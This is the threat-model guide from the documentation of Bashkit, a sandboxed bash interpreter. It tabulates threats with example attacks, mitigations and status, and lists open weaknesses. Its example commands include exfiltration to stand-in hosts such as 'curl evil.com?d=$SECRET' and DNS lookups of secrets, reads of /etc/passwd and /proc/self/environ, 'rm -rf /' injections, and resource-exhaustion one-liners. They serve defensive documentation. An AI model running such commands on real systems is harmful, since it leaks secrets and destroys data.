Skip to main content

Module threat_model

Module threat_model 

Source
Expand description

Security threat model guide.

This guide documents security threats addressed by Bashkit and their mitigations. All threats use stable IDs for tracking and code references.

Topics covered:

  • Denial of Service mitigations (TM-DOS-*)
  • Sandbox escape prevention (TM-ESC-*)
  • Information disclosure protection (TM-INF-*)
  • Network security controls (TM-NET-*)
  • Multi-tenant isolation (TM-ISO-*)

Related: ExecutionLimits, FsLimits, NetworkAllowlist

§Threat Model

Bashkit is designed to execute untrusted bash scripts safely in virtual environments. This document describes the security threats we address and how they are mitigated.

See also:

§Overview

Bashkit assumes all script input is potentially malicious. The virtual environment prevents:

  • Resource exhaustion (CPU, memory, disk)
  • Sandbox escape (filesystem, process, privilege)
  • Information disclosure (secrets, host info)
  • Network abuse (exfiltration, unauthorized access)

§Threat Categories

§Denial of Service (TM-DOS-*)

Scripts may attempt to exhaust system resources. Bashkit mitigates these attacks through configurable limits.

Memory Exhaustion:

ThreatAttack ExampleMitigationStatus
Large input (TM-DOS-001)1GB scriptmax_input_bytes limit (10MB)MITIGATED
Output flooding (TM-DOS-002)yes | head -n 1000000000Command limit stops loopMITIGATED
Variable explosion (TM-DOS-003)x=$(cat /dev/urandom)/dev/urandom returns bounded 8KBMITIGATED
Array growth (TM-DOS-004)arr+=(element) in loopCommand limitMITIGATED

Filesystem Exhaustion:

ThreatAttack ExampleMitigationStatus
Large file (TM-DOS-005)dd if=/dev/zero bs=1G count=100max_file_size limitMITIGATED
Many files (TM-DOS-006)Create 1M filesmax_file_countMITIGATED
Zip bomb (TM-DOS-007)gunzip bomb.gzDecompression limitMITIGATED
Tar bomb (TM-DOS-008)tar -xf bomb.tarFS limitsMITIGATED
Recursive copy (TM-DOS-009)cp -r /tmp /tmp/copyFS limitsMITIGATED
Append flood (TM-DOS-010)while true; do echo x >> f; doneFS + loop limitsMITIGATED
Symlink loops (TM-DOS-011)ln -s /a /b; ln -s /b /aNo symlink followingMITIGATED
Deep dirs (TM-DOS-012)mkdir -p a/b/c/.../z (1000 levels)max_path_depth (100)MITIGATED
Long filenames (TM-DOS-013)10KB filenamemax_filename_length (255) + max_path_length (4096)MITIGATED
Many dir entries (TM-DOS-014)1M files in one dirmax_file_countMITIGATED
Unicode path attacks (TM-DOS-015)RTL override in filenamevalidate_path() rejects control/bidi charsMITIGATED
TOCTOU append (TM-DOS-034)Concurrent appends bypass limitsSingle write lockFIXED
OverlayFs upper-only check (TM-DOS-035)check_write_limits() ignores lower layerCombined limit accountingOPEN
OverlayFs double-count (TM-DOS-036)compute_usage() counts overwritten filesSubtract overridesOPEN
OverlayFs chmod CoW bypass (TM-DOS-037)chmod writes to unlimited upperRoute through check_write_limits()OPEN
OverlayFs incomplete whiteout (TM-DOS-038)rm -r misses lower childrenCheck ancestor whiteoutsOPEN
Missing validate_path (TM-DOS-039)VFS methods skip path checksAdd to all methodsOPEN
32-bit truncation (TM-DOS-040)u64 as usize on 32-bitusize::try_from()OPEN
OverlayFs symlink bypass (TM-DOS-045)Unlimited symlink creationAdd check_write_limits()OPEN
MountableFs no validation (TM-DOS-046)Mounted FS skips validate_path()Add to all methodsOPEN
Copy skip limit check (TM-DOS-047)Copy overwrites without limit checkAlways check_write_limits()OPEN
Rename overwrites dirs (TM-DOS-048)File over directory orphans childrenReject per POSIXOPEN

Loops and CPU:

ThreatAttack ExampleMitigationStatus
While true (TM-DOS-016)while true; do :; doneLoop limit (10K)MITIGATED
For loop (TM-DOS-017)for i in $(seq 1 inf)Loop limitMITIGATED
Nested loops (TM-DOS-018)Double for loopmax_total_loop_iterations (1M)MITIGATED
Command flood (TM-DOS-019)100K sequential commandsCommand limit (10K)MITIGATED
Long computation (TM-DOS-023)Complex awk/sed regexTimeout (30s)MITIGATED
Regex backtrack (TM-DOS-025)grep "a](*b)*c" fileRegex crate limitsPARTIAL
AWK unbounded loops (TM-DOS-033)BEGIN { while(1){} }Timeout (30s) backstopPARTIAL

Stack Overflow / Recursion:

ThreatAttack ExampleMitigationStatus
Function recursion (TM-DOS-020)f() { f; }; fDepth limit (100)MITIGATED
Command sub depth (TM-DOS-021)$($($($()))) nestingInherited depth/fuel from parentMITIGATED
Parser depth (TM-DOS-022)(((((...)))))) nestingmax_ast_depth + hard cap (100)MITIGATED
Arithmetic depth (TM-DOS-026)$(((((...))))))MAX_ARITHMETIC_DEPTH (50)MITIGATED
Builtin parser depth (TM-DOS-027)Deeply nested awk/jqMAX_AWK_PARSER_DEPTH (100) + MAX_JQ_JSON_DEPTH (100)MITIGATED
Collect dirs recursion (TM-DOS-049)Deep VFS treeMitigated by max_path_depthMITIGATED

Parser and Arithmetic:

ThreatAttack ExampleMitigationStatus
Parser hang (TM-DOS-024)Malformed inputparser_timeout + max_parser_operationsMITIGATED
Diff DoS (TM-DOS-028)diff on large unrelated filesLCS matrix cap (10M cells)MITIGATED
Parser limit bypass (TM-DOS-030)eval/source ignore limitsParser::with_limits()FIXED
Arithmetic overflow (TM-DOS-029)$(( 2 ** -1 ))Use wrapping arithmeticOPEN
ExtGlob blowup (TM-DOS-031)+(a|aa) exponentialAdd depth limitOPEN
Tokio runtime exhaustion (TM-DOS-032)Rapid execute_sync() callsShared runtimeOPEN
Brace range OOM (TM-DOS-041){1..999999999}Cap range sizeOPEN
Brace combinatorial (TM-DOS-042){1..100}{1..100}{1..100}Cap total expansionOPEN
Compound assign overflow (TM-DOS-043)((x+=1)) with x=i64::MAXwrapping_* opsOPEN
Lexer stack overflow (TM-DOS-044)~50 nested $() in quotesDepth trackingOPEN
parse_word_string limits (TM-DOS-050)Parameter expansion ignores limitsPropagate limitsOPEN
YAML parser recursion (TM-DOS-051)Deeply nested YAML stack overflowAdd depth limitOPEN
Template engine recursion (TM-DOS-052)Nested {{#if}}/{{#each}} overflowAdd depth limitOPEN
Template output explosion (TM-DOS-053){{#each}} on large arrayBounded by max_file_sizeMITIGATED
glob ExtGlob blowup (TM-DOS-054)glob --files "+(a|aa)"Same as TM-DOS-031OPEN
split file count (TM-DOS-055)split -l 1 bigfileFS max_file_count limitMITIGATED
source self-recursion (TM-DOS-056)Script that sources itselfTrack source depthOPEN
sleep bypasses timeout (TM-DOS-057)sleep N ignores ExecutionLimits::timeoutImplement tokio timeout wrapperOPEN
Unbounded builtin output (TM-DOS-058)seq 1 1000000 produces 1M linesAdd max_stdout_bytes limitOPEN

Configuration:

use bashkit::{Bash, ExecutionLimits, FsLimits, InMemoryFs};
use std::sync::Arc;
use std::time::Duration;

let limits = ExecutionLimits::new()
    .max_commands(10_000)
    .max_loop_iterations(10_000)
    .max_function_depth(100)
    .timeout(Duration::from_secs(30))
    .max_input_bytes(10_000_000);  // 10MB

let fs_limits = FsLimits::new()
    .max_total_bytes(100_000_000)  // 100MB
    .max_file_size(10_000_000)     // 10MB per file
    .max_file_count(10_000);

let fs = Arc::new(InMemoryFs::with_limits(fs_limits));
let bash = Bash::builder()
    .limits(limits)
    .fs(fs)
    .build();

§Sandbox Escape (TM-ESC-*)

Scripts may attempt to break out of the sandbox to access the host system.

Filesystem Escape:

ThreatAttack ExampleMitigationStatus
Path traversal (TM-ESC-001)cat /../../../etc/passwdPath normalizationMITIGATED
Symlink escape (TM-ESC-002)ln -s /etc/passwd /tmp/xSymlinks not followedMITIGATED
Real FS access (TM-ESC-003)Direct syscallsNo real FS by defaultMITIGATED
Mount escape (TM-ESC-004)Mount real pathsMountableFs controlled by callerMITIGATED
VFS limit bypass (TM-ESC-012)add_file() skips limitsRestrict API visibilityOPEN
OverlayFs upper() exposed (TM-ESC-013)upper() returns unlimited FSRestrict visibilityOPEN
Custom builtins lost (TM-ESC-014)std::mem::take empties builtinsArc-cloned builtinsFIXED

Process Escape:

ThreatAttack ExampleMitigationStatus
Shell escape (TM-ESC-005)exec /bin/bashNot implemented (exit 127)MITIGATED
External commands (TM-ESC-006)./maliciousRuns in VFS sandbox, no host shellMITIGATED
Background proc (TM-ESC-007)malicious &Background not implementedMITIGATED
eval injection (TM-ESC-008)eval "$input"Sandboxed eval (builtins only)MITIGATED
bash/sh re-invoke (TM-ESC-015)bash -c "malicious"Sandboxed re-invocationMITIGATED

Privilege Escalation:

ThreatAttack ExampleMitigationStatus
sudo/su (TM-ESC-009)sudo rm -rf /Not implementedMITIGATED
setuid (TM-ESC-010)Permission changesVirtual FS, no real permsMITIGATED
Capability abuse (TM-ESC-011)Linux capabilitiesRuns in-processMITIGATED

Virtual Filesystem:

Bashkit uses an in-memory virtual filesystem by default. Scripts cannot access the real filesystem unless explicitly mounted via MountableFs.

use bashkit::{Bash, InMemoryFs, MountableFs};
use std::sync::Arc;

// Default: fully isolated in-memory filesystem
let bash = Bash::new();

// Custom filesystem with explicit mounts (advanced)
let root = Arc::new(InMemoryFs::new());
let fs = Arc::new(MountableFs::new(root));
// fs.mount("/data", Arc::new(InMemoryFs::new()));  // Mount additional filesystems

§Information Disclosure (TM-INF-*)

Scripts may attempt to leak sensitive information.

Secrets Access:

ThreatAttack ExampleMitigationStatus
Env var leak (TM-INF-001)echo $SECRETCaller responsibilityCALLER RISK
File secrets (TM-INF-002)cat /secrets/keyVirtual FS isolationMITIGATED
Proc secrets (TM-INF-003)/proc/self/environNo /proc filesystemMITIGATED
Memory dump (TM-INF-004)Core dumpsNo crash dumpsMITIGATED

Host Information:

ThreatAttack ExampleMitigationStatus
Hostname (TM-INF-005)hostnameReturns configurable virtual valueMITIGATED
Username (TM-INF-006)whoami, $USERReturns configurable virtual valueMITIGATED
IP address (TM-INF-007)ip addr, ifconfigNot implementedMITIGATED
System info (TM-INF-008)uname -aReturns configurable virtual valuesMITIGATED
User ID (TM-INF-009)idReturns hardcoded uid=1000MITIGATED
Date/time (TM-INF-018)dateReturns real host time (fingerprinting risk)OPEN

Network Exfiltration:

ThreatAttack ExampleMitigationStatus
HTTP exfil (TM-INF-010)curl evil.com?d=$SECRETNetwork allowlistMITIGATED
DNS exfil (TM-INF-011)nslookup $SECRET.evil.comNo DNS commandsMITIGATED
Timing channel (TM-INF-012)Response time variationsAccepted (minimal risk)ACCEPTED

Other Disclosure:

ThreatAttack ExampleMitigationStatus
Host env via jq (TM-INF-013)jq env exposes host envCustom env via $__bashkit_env__FIXED
Real PID leak (TM-INF-014)$$ returns real PIDReturns virtual PID (1)FIXED
URL creds in errors (TM-INF-015)Allowlist error echoes full URLApply URL redactionOPEN
Error msg info leak (TM-INF-016)Errors expose host paths/IPsSanitize error messagesOPEN
Internal markers leak (TM-INF-017)set / declare -p show internalsFilter is_internal_variable()OPEN
envsubst exposes env (TM-INF-019)envsubst substitutes any $VARCaller controls env (same as TM-INF-001)CALLER RISK
template exposes env (TM-INF-020){{var}} falls back to envCaller controls env (same as TM-INF-001)CALLER RISK

Caller Responsibility (TM-INF-001):

Do NOT pass sensitive environment variables to untrusted scripts:

// UNSAFE - secrets may be leaked
let bash = Bash::builder()
    .env("DATABASE_URL", "postgres://user:pass@host/db")
    .env("API_KEY", "sk-secret-key")
    .build();

// SAFE - only pass non-sensitive variables
let bash = Bash::builder()
    .env("HOME", "/home/user")
    .env("TERM", "xterm")
    .build();

System Information:

System builtins return configurable virtual values, never real host information:

let bash = Bash::builder()
    .username("sandbox")         // whoami returns "sandbox"
    .hostname("bashkit-sandbox") // hostname returns "bashkit-sandbox"
    .build();

§Network Security (TM-NET-*)

Network access is disabled by default. When enabled, strict controls apply.

DNS:

ThreatAttack ExampleMitigationStatus
DNS spoofing (TM-NET-001)Resolve to wrong IPNo DNS resolutionMITIGATED
DNS rebinding (TM-NET-002)Rebind after allowlist checkLiteral host matchingMITIGATED
DNS exfiltration (TM-NET-003)dig secret.evil.comNo DNS commandsMITIGATED

Network Bypass:

ThreatAttack ExampleMitigationStatus
IP instead of host (TM-NET-004)curl http://93.184.216.34Literal IP blocked unless allowedMITIGATED
Port scanning (TM-NET-005)curl http://internal:$portPort must match allowlistMITIGATED
Protocol downgrade (TM-NET-006)HTTPS to HTTPScheme must matchMITIGATED
Subdomain bypass (TM-NET-007)evil.example.comExact host matchMITIGATED

HTTP Attacks:

ThreatAttack ExampleMitigationStatus
Large response (TM-NET-008)10GB downloadSize limit (10MB)MITIGATED
Connection hang (TM-NET-009)Server never respondsConnect timeout (10s)MITIGATED
Slowloris (TM-NET-010)Slow response drippingRead timeout (30s)MITIGATED
Redirect bypass (TM-NET-011)Location: http://evil.comNo auto-redirectMITIGATED
Chunked bomb (TM-NET-012)Infinite chunked responseResponse size limit (streaming)MITIGATED
Compression bomb (TM-NET-013)10KB to 10GB gzipAuto-decompression disabledMITIGATED
DNS rebind via redirect (TM-NET-014)Redirect to rebinded IPRedirect requires allowlist checkMITIGATED

Network Allowlist:

use bashkit::{Bash, NetworkAllowlist};

// Explicit allowlist - only these URLs can be accessed
let allowlist = NetworkAllowlist::new()
    .allow("https://api.example.com")
    .allow("https://cdn.example.com/assets/");

let bash = Bash::builder()
    .network(allowlist)
    .build();

// Scripts can now use curl/wget, but only to allowed URLs
// curl https://api.example.com/data  → allowed
// curl https://evil.com              → blocked (exit 7)

Domain Allowlist (TM-NET-015, TM-NET-016):

For simpler domain-level control, allow_domain() permits all traffic to a domain regardless of scheme, port, or path. This is the virtual equivalent of SNI-based egress filtering — the same approach used by production sandbox environments.

use bashkit::{Bash, NetworkAllowlist};

// Domain-level: any scheme, port, or path to these hosts
let allowlist = NetworkAllowlist::new()
    .allow_domain("api.example.com")
    .allow_domain("cdn.example.com");

// Both of these are allowed:
// curl https://api.example.com/v1/data
// curl http://api.example.com:8080/health

Trade-off: domain rules intentionally skip scheme and port enforcement. Use URL patterns (allow()) when you need tighter control. Both can be combined.

No Wildcard Subdomains (TM-NET-017):

Wildcard patterns like *.example.com are not supported. They would enable data exfiltration by encoding secrets in subdomains (curl https://$SECRET.example.com).

§Injection Attacks (TM-INJ-*)

Command Injection:

ThreatAttack ExampleMitigationStatus
Variable injection (TM-INJ-001)$input containing ; rm -rf /Variables expand to strings onlyMITIGATED
Backtick injection (TM-INJ-002)`$malicious`Parsed as command subMITIGATED
eval bypass (TM-INJ-003)eval $user_inputeval sandboxed (builtins only)MITIGATED

Path Injection:

ThreatAttack ExampleMitigationStatus
Null byte (TM-INJ-004)cat "file\x00/../etc/passwd"Rust strings have no nullsMITIGATED
Path traversal (TM-INJ-005)../../../../etc/passwdPath normalizationMITIGATED
Encoding bypass (TM-INJ-006)URL/unicode encodingPathBuf handlesMITIGATED
Tar path traversal (TM-INJ-010)tar -xf with ../ entriesValidate extract pathsOPEN

Output / Display:

ThreatAttack ExampleMitigationStatus
HTML in output (TM-INJ-007)Script outputs <script>N/A (CLI tool)NOT APPLICABLE
Terminal escapes (TM-INJ-008)ANSI sequences in outputCaller should sanitizeCALLER RISK

Internal State:

ThreatAttack ExampleMitigationStatus
Internal var injection (TM-INJ-009)Set _READONLY_X=""Isolate internal namespaceOPEN
Cyclic nameref (TM-INJ-011)Cyclic refs resolve silentlyDetect cycle, errorOPEN
declare bypasses guard (TM-INJ-012)declare _NAMEREF_x=targetAdd is_internal_variable() checkOPEN
readonly bypasses guard (TM-INJ-013)readonly _NAMEREF_x=targetAdd is_internal_variable() checkOPEN
local bypasses guard (TM-INJ-014)local _NAMEREF_x=targetAdd is_internal_variable() checkOPEN
export bypasses guard (TM-INJ-015)export _NAMEREF_x=targetAdd is_internal_variable() checkOPEN
Missing array prefix (TM-INJ-016)_ARRAY_READ_ not in guardAdd prefix to is_internal_variable()OPEN
Unzip path traversal (TM-INJ-017)unzip with ../ entry namesValidate paths within extract baseOPEN
Dotenv internal injection (TM-INJ-018).env with _NAMEREF_x=targetAdd is_internal_variable() checkOPEN
unset removes readonly (TM-INJ-019)readonly X=v; unset XCheck readonly attribute in unsetOPEN
declare overwrites readonly (TM-INJ-020)readonly X=v; declare X=newCheck readonly attribute in declareOPEN
export overwrites readonly (TM-INJ-021)readonly X=v; export X=newCheck readonly attribute in exportOPEN

Variable Expansion:

Variables expand to literal strings, not re-parsed as commands:

# If user_input contains "; rm -rf /"
user_input="; rm -rf /"
echo $user_input
# Output: "; rm -rf /" (literal string, NOT executed)

§Multi-Tenant Isolation (TM-ISO-*)

ThreatAttack ExampleMitigationStatus
Shared filesystem (TM-ISO-001)Access other tenant filesSeparate Bash instancesMITIGATED
Shared memory (TM-ISO-002)Read other tenant dataRust memory safetyMITIGATED
Resource starvation (TM-ISO-003)One tenant exhausts limitsPer-instance limitsMITIGATED
Cross-tenant jq env (TM-ISO-004)std::env::set_var() in jqCustom jaq context variableFIXED
Cumulative counter bypass (TM-ISO-005)Repeated exec() resets countersSession-level countersOPEN
Memory budget exhaustion (TM-ISO-006)Unbounded variable/array growthPer-instance MemoryLimitsOPEN
Alias leakage (TM-ISO-007)Aliases from session A visible in BPer-instance alias HashMapMITIGATED
Trap handler leakage (TM-ISO-008)Trap from session A fires in BPer-instance trap HashMapMITIGATED
Shell option leakage (TM-ISO-009)set -e in session A affects BPer-instance SHOPT_* variablesMITIGATED
Exported env var leakage (TM-ISO-010)export in session A visible in BPer-instance env HashMapMITIGATED
Array leakage (TM-ISO-011)Arrays cross sessionsPer-instance array HashMapsMITIGATED
Working directory leakage (TM-ISO-012)cd in session A changes B’s cwdPer-instance cwdMITIGATED
Exit code leakage (TM-ISO-013)$? from session A visible in BPer-instance last_exit_codeMITIGATED
Concurrent variable leakage (TM-ISO-014)Race condition leaks varsPer-instance state, no shared mutablesMITIGATED
Concurrent FS leakage (TM-ISO-015)Race condition leaks filesSeparate Arc<FileSystem> per instanceMITIGATED
Snapshot/restore side effects (TM-ISO-016)restore_shell_state() affects othersSnapshot is per-instanceMITIGATED
Adversarial variable probing (TM-ISO-017)Enumerate common secret var namesDefault-empty env, no host env inheritanceMITIGATED
/proc /sys probing (TM-ISO-018)Read /proc/self/environVFS has no real /proc or /etcMITIGATED
jq cross-session env (TM-ISO-019)jq 'env.X' sees other varsjaq reads from injected globalMITIGATED
Subshell mutation leakage (TM-ISO-020)Subshell vars leak to parentSnapshot/restore + per-instance stateMITIGATED
EXIT trap cross-exec leak (TM-ISO-021)EXIT trap fires in next exec()Reset traps in reset_for_execution()OPEN
$? cross-exec leak (TM-ISO-022)Exit code from previous exec() visibleReset last_exit_codeOPEN
set -e cross-exec leak (TM-ISO-023)Shell options persist across exec()Reset shell optionsOPEN

Each Bash instance is fully isolated. For multi-tenant environments, create separate instances per tenant:

use bashkit::{Bash, InMemoryFs};
use std::sync::Arc;

// Each tenant gets completely isolated instance
let tenant_a = Bash::builder()
    .fs(Arc::new(InMemoryFs::new()))  // Separate filesystem
    .build();

let tenant_b = Bash::builder()
    .fs(Arc::new(InMemoryFs::new()))  // Different filesystem
    .build();

// tenant_a cannot access tenant_b's files or state

§Internal Error Handling (TM-INT-*)

Bashkit is designed to never crash, even when processing malicious or malformed input. All unexpected errors are caught and converted to safe, human-readable messages.

ThreatAttack ExampleMitigationStatus
Builtin panic (TM-INT-001)Trigger panic in builtincatch_unwind wrapperMITIGATED
Info leak in panic (TM-INT-002)Panic exposes secretsSanitized error messagesMITIGATED
Date format crash (TM-INT-003)Invalid strftime: +%QPre-validationMITIGATED
Path leak in errors (TM-INT-004)Error shows real FS pathsVirtual paths onlyMITIGATED
Memory addr in errors (TM-INT-005)Debug output shows addressesDisplay impl hides addressesMITIGATED
Stack trace exposure (TM-INT-006)Panic unwinds show call stackcatch_unwind prevents propagationMITIGATED
/dev/urandom empty with head -c (TM-INT-007)head -c 16 /dev/urandom returns emptyFix virtual device pipe handlingOPEN

Panic Recovery:

All builtins (both built-in and custom) are wrapped with panic catching:

If a builtin panics, the script continues with a sanitized error.
The panic message is NOT exposed (may contain sensitive data).
Output: "bash: <command>: builtin failed unexpectedly"

Error Message Safety:

Error messages never expose:

  • Stack traces or call stacks
  • Memory addresses
  • Real filesystem paths (only virtual paths)
  • Panic messages that may contain secrets

§Logging Security (TM-LOG-*)

When the logging feature is enabled, Bashkit emits structured logs. Security features prevent sensitive data leakage:

ThreatAttack ExampleMitigationStatus
Secrets in logs (TM-LOG-001)Log $PASSWORD valueEnv var redactionMITIGATED
Script leak (TM-LOG-002)Log script with embedded secretsScript content disabled by defaultMITIGATED
URL credentials (TM-LOG-003)Log https://user:pass@hostURL credential redactionMITIGATED
API key leak (TM-LOG-004)Log JWT or API key valuesEntropy-based detectionMITIGATED
Log injection (TM-LOG-005)Script with \n[ERROR]Newline escapingMITIGATED
Control char injection (TM-LOG-006)ANSI escapes in logsControl char filteringMITIGATED
Log flooding (TM-LOG-007)Excessive script outputValue truncationMITIGATED
Large value DoS (TM-LOG-008)Log very long stringsmax_value_length limit (200)MITIGATED

Logging Configuration:

use bashkit::{Bash, LogConfig};

// Default: secure (redaction enabled, script content hidden)
let bash = Bash::builder()
    .log_config(LogConfig::new())
    .build();

// Add custom redaction patterns
let bash = Bash::builder()
    .log_config(LogConfig::new()
        .redact_env("MY_CUSTOM_SECRET"))
    .build();

Warning: Do not use LogConfig::unsafe_disable_redaction() or LogConfig::unsafe_log_scripts() in production.

§Parser Depth Protection

The parser includes multiple layers of depth protection to prevent stack overflow attacks:

  1. Configurable depth limit (max_ast_depth, default 100): Controls maximum nesting of compound commands (if/for/while/case/subshell).

  2. Hard cap (HARD_MAX_AST_DEPTH = 100): Even if the caller configures a higher max_ast_depth, the parser clamps it to 100. This prevents misconfiguration from causing stack overflow.

  3. Child parser inheritance (TM-DOS-021): When parsing $(...) or <(...), the child parser inherits the remaining depth budget and fuel from the parent. This prevents attackers from bypassing depth limits through nested substitutions.

  4. Arithmetic depth limit (TM-DOS-026): The arithmetic evaluator ($((expr))) has its own depth limit (MAX_ARITHMETIC_DEPTH = 50) to prevent stack overflow from deeply nested parenthesized expressions.

  5. Parser fuel (max_parser_operations, default 100K): Independent of depth, limits total parser work to prevent CPU exhaustion.

§Python / Monty Security (TM-PY-*)

The python/python3 builtins embed the Monty Python interpreter with VFS bridging. Python pathlib.Path operations are bridged to Bashkit’s virtual filesystem.

ThreatAttack ExampleMitigationStatus
Infinite loop (TM-PY-001)while True: passMonty time limit (30s) + allocation capMITIGATED
Memory exhaustion (TM-PY-002)Large allocationMonty max_memory (64MB) + max_allocations (1M)MITIGATED
Stack overflow (TM-PY-003)Deep recursionMonty max_recursion (200)MITIGATED
Shell escape (TM-PY-004)os.system()Monty has no os.system/subprocessMITIGATED
Real FS access (TM-PY-005)open()Monty has no open() builtinMITIGATED
Error info leak (TM-PY-006)Errors go to stdoutErrors go to stderr, not stdoutMITIGATED
Real FS read (TM-PY-015)Path.read_text()VFS bridge reads only from BashKit VFSMITIGATED
Real FS write (TM-PY-016)Path.write_text()VFS bridge writes only to BashKit VFSMITIGATED
Path traversal (TM-PY-017)../../etc/passwdVFS path normalizationMITIGATED
Bash/Python VFS isolation (TM-PY-018)Cross-tenant accessShared VFS by design; no cross-tenantMITIGATED
Crash on missing file (TM-PY-019)Missing file panicFileNotFoundError raised, not panicMITIGATED
Network access (TM-PY-020)Socket/HTTPMonty has no socket/network moduleMITIGATED
VFS mkdir escape (TM-PY-021)mkdir outside VFSmkdir operates only in VFSMITIGATED
VM crash (TM-PY-022)Malformed inputParser depth limit + resource limitsMITIGATED
Shell injection (TM-PY-023)deepagents.py f-stringsUse shlex.quote()OPEN
Heredoc escape (TM-PY-024)Content contains delimiterRandom delimiterOPEN
GIL deadlock (TM-PY-025)execute_sync holds GILpy.allow_threads()OPEN
Config lost on reset (TM-PY-026)reset() drops limitsPreserve configOPEN
JSON recursion (TM-PY-027)Nested dicts overflow stackAdd depth limitOPEN
BashTool.reset() drops config (TM-PY-028)reset() removes limitsPreserve config (match PyBash)OPEN

Architecture:

Python code → Monty VM → OsCall pause → BashKit VFS bridge → resume

Monty runs directly in the host process. Resource limits (memory, allocations, time, recursion) are enforced by Monty’s own runtime. All VFS operations are bridged through the host process — Python code never touches the real filesystem.

§Git Security (TM-GIT-*)

Optional virtual git operations via the git feature. All operations are confined to the virtual filesystem.

Repository Access:

ThreatAttack ExampleMitigationStatus
Host identity leak (TM-GIT-002)Commit reveals real name/emailConfigurable virtual identityMITIGATED
Host git config (TM-GIT-003)Read ~/.gitconfigNo host filesystem accessMITIGATED
Credential theft (TM-GIT-004)Access credential storeNo host filesystem accessMITIGATED
Repository escape (TM-GIT-005)Clone outside VFSAll paths in VFSMITIGATED

Git DoS:

ThreatAttack ExampleMitigationStatus
Large repo clone (TM-GIT-006)Clone huge repositoryFS size limitsPLANNED (Phase 2)
Many git objects (TM-GIT-007)Millions of objectsmax_file_count FS limitMITIGATED
Deep history (TM-GIT-008)Very long commit logLog limit parameterMITIGATED
Large pack files (TM-GIT-009)Huge .git/objects/packmax_file_size FS limitMITIGATED

Remote Operations (Phase 2):

ThreatAttack ExampleMitigationStatus
Unauthorized clone (TM-GIT-001)git clone evil.comRemote URL allowlistPLANNED
Push to unauthorized (TM-GIT-010)git push evil.comRemote URL allowlistPLANNED
Fetch from unauthorized (TM-GIT-011)git fetch evil.comRemote URL allowlistPLANNED
SSH key access (TM-GIT-012)Use host SSH keysHTTPS only (no SSH)PLANNED
Git protocol bypass (TM-GIT-013)Use git:// protocolHTTPS onlyPLANNED
Branch name injection (TM-GIT-014)git branch ../../configValidate branch namesOPEN

Virtual Identity:

use bashkit::Bash;

let bash = Bash::builder()
    .git_author("sandbox", "sandbox@example.com")
    .build();
// Commits use virtual identity, never host ~/.gitconfig

§Unicode Security (TM-UNI-*)

Unicode input from untrusted scripts creates attack surface across the parser, builtins, and virtual filesystem. AI agents frequently generate multi-byte Unicode (box-drawing, emoji, CJK) that exercises these code paths.

Byte-Boundary Safety (TM-UNI-001/002/015/016/017):

Multiple builtins mix byte offsets with character indices, causing panics on multi-byte input. All are caught by catch_unwind (TM-INT-001) preventing process crash, but the builtin silently fails.

ThreatAttack ExampleMitigationStatus
Awk byte-boundary panic (TM-UNI-001)Multi-byte chars in awk inputcatch_unwind catches panicPARTIAL
Sed byte-boundary panic (TM-UNI-002)Box-drawing chars in sed patterncatch_unwind catches panicPARTIAL
Expr substr panic (TM-UNI-015)expr substr "café" 4 1catch_unwind catches panicPARTIAL
Printf precision panic (TM-UNI-016)printf "%.1s" "é"catch_unwind catches panicPARTIAL
Cut/tr byte-level parsing (TM-UNI-017)tr 'é' 'e' — multi-byte in char setcatch_unwind catches; silent data lossPARTIAL

Additional Byte/Char Confusion:

ThreatAttack ExampleMitigationStatus
Interpreter arithmetic (TM-UNI-018)Multi-byte before = in arithmeticWrong operator detection; no panicPARTIAL
Network allowlist (TM-UNI-019)Multi-byte in allowlist URL pathWrong path boundary checkPARTIAL

Zero-Width and Invisible Characters:

ThreatAttack ExampleMitigationStatus
Zero-width in filenames (TM-UNI-003)Invisible chars create confusable namesPath validation (planned)UNMITIGATED
Zero-width in variables (TM-UNI-004)\u{200B}PATH=maliciousMatches Bash behaviorACCEPTED
Zero-width in scripts (TM-UNI-005)echo "pass\u{200B}word"Correct pass-throughACCEPTED
Tag char hiding (TM-UNI-011)U+E0001-U+E007F in filenamesPath validation (planned)UNMITIGATED
Annotation hiding (TM-UNI-012)U+FFF9-U+FFFB in filenamesNot detectedUNMITIGATED
Deprecated format chars (TM-UNI-013)U+206A-U+206F in filenamesNot detectedUNMITIGATED

Homoglyphs, Normalization, and Bidi:

ThreatAttack ExampleMitigationStatus
Homoglyph filenames (TM-UNI-006)Cyrillic ‘а’ vs Latin ‘a’Accepted riskACCEPTED
Homoglyph variables (TM-UNI-007)Cyrillic in variable namesMatches Bash behaviorACCEPTED
Normalization bypass (TM-UNI-008)NFC vs NFD create distinct filesMatches Linux FS behaviorACCEPTED
Bidi in script source (TM-UNI-014)RTL overrides hide malicious codeScripts untrusted by designACCEPTED

Combining Characters:

ThreatAttack ExampleMitigationStatus
Excessive combiners in filenames (TM-UNI-009)1000 diacritical marks on one charmax_filename_length (255 bytes)MITIGATED
Excessive combiners in builtins (TM-UNI-010)Combiners in awk/grep patternsTimeout + depth limitsMITIGATED

Safe Components (confirmed by full codebase audit):

  • Lexer: Chars iterator with ch.len_utf8() tracking
  • wc: Correct .len() vs .chars().count() usage
  • grep/jq: Delegate to Unicode-aware regex/jaq crates
  • sort/uniq: String comparison, no byte indexing
  • logging: Uses is_char_boundary() correctly
  • python: Shebang strip via find('\n') — ASCII delimiter, safe
  • Python bindings (bashkit-python): PyO3 String extraction, no manual byte/char ops
  • eval harness: chars().take(), from_utf8_lossy() — all safe patterns
  • curl/bc/export/date/comm/echo/archive/base64: All .find() use ASCII delimiters only
  • scripted_tool: No byte/char patterns

Path Validation:

Filenames are validated by find_unsafe_path_char() which rejects:

  • ASCII control characters (U+0000-U+001F, U+007F)
  • C1 control characters (U+0080-U+009F)
  • Bidi override characters (U+202A-U+202E, U+2066-U+2069)

Normal Unicode (accented, CJK, emoji) is allowed in filenames and script content.

Caller Responsibility:

  • Strip zero-width/invisible characters from filenames before displaying to users
  • Apply confusable-character detection (UTS #39) if showing filenames to humans
  • Strip bidi overrides from script source before displaying to code reviewers
  • Be aware that expr/printf/cut/tr may fail on non-ASCII input until fixes land
  • Use ASCII in network allowlist URL patterns until byte/char fix lands

§Security Testing

Bashkit includes comprehensive security tests:

  • Threat Model Tests: tests/threat_model_tests.rs - 117 tests
  • Unicode Security Tests: tests/unicode_security_tests.rs - TM-UNI-* tests
  • Nesting Depth Tests: 18 tests covering positive, negative, misconfiguration, and regression scenarios for parser depth attacks
  • Fail-Point Tests: tests/security_failpoint_tests.rs - 14 tests
  • Network Security: tests/network_security_tests.rs - 53 tests
  • Builtin Error Security: tests/builtin_error_security_tests.rs - 39 tests
  • Logging Security: tests/logging_security_tests.rs - 26 tests
  • Git Security: tests/git_security_tests.rs + tests/git_remote_security_tests.rs
